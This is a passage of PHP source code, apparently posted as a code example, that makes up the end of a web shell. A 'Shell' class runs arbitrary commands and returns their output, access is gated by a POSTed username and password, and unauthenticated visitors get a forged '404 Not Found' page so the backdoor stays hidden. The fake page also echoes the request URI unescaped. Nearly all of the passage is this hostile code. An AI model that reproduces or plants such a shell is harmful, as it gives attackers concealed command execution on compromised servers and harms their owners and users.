Beispiel #1
0
                    if ($capture_buffer) {
                        $output = ob_get_contents();
                        ob_end_clean();
                    }
                    if ($output == null) {
                        $output = sprintf("Cannot execute this command: %s\n", $command);
                    }
                }
                return $output;
            }
        }
    }
}
$shell = new Shell();
$shell->handle_execution();
if (isset($_POST['u']) and isset($_POST['p']) and $shell->login($_POST['u'], $_POST['p'])) {
    $_SESSION['authorized'] = 1;
}
if (!isset($_SESSION['authorized']) or $_SESSION['authorized'] != 1) {
    header('HTTP/1.1 404 Not Found');
    ?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body style="background:#fff">
<h1>Not Found</h1>
<p>The requested URL <?php 
    echo $_SERVER['REQUEST_URI'];
    ?>
 was not found on this server.</p>
<p>Additionally, a 404 Not Found